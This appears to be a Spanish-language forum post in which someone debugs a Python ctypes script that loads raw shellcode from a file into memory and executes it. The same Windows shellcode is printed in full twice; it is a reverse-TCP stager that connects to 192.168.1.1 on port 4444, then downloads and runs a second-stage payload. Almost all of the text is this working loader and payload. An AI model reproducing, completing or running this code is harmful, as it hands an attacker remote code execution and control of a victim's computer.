from ctypes import *
 
shellcode = ""
 
with open("shellcode.txt", "r") as sc:
    shellcode1 = sc.readlines()
    for x in shellcode1:
        shellcode += x.encode()
 
 
 
shellcode = (shellcode.encode())   
 
memory_ref = create_string_buffer(shellcode, len(shellcode))
shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
shellcode()
 

\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30
\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff
\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52
\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1
\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b
\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03
\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b
\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24
\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb
\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c
\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68
\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02
\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea
\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61
\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00
\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83
\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a
\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57
\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00
\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68
\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff
\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00
\x53\xff\xd5
 

No es un error de permisos, ya lo solucione pero sigue sin funcionar  .

# save binary data in file
shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
shellcode += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
shellcode += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
shellcode += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
shellcode += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
shellcode += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
shellcode += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
shellcode += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
shellcode += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
shellcode += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
shellcode += "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02"
shellcode += "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
shellcode += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
shellcode += "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
shellcode += "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
shellcode += "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
shellcode += "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
shellcode += "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
shellcode += "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
shellcode += "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
shellcode += "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
shellcode += "\x53\xff\xd5"
 
f = open("shellcode.txt", "wb")
f.write(shellcode)
f.close()
 
# load data from file and execute in heap (fails with DEP enabled for all processes)
shellcode = ""
 
with open("shellcode.txt", "r") as sc:
    #shellcode1 = sc.readlines()
    #for x in shellcode1:
    #    shellcode += x.encode()
    shellcode = sc.read()
 
 
 
#shellcode = (shellcode.encode())
 
memory_ref = create_string_buffer(shellcode, len(shellcode))
shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
shellcode()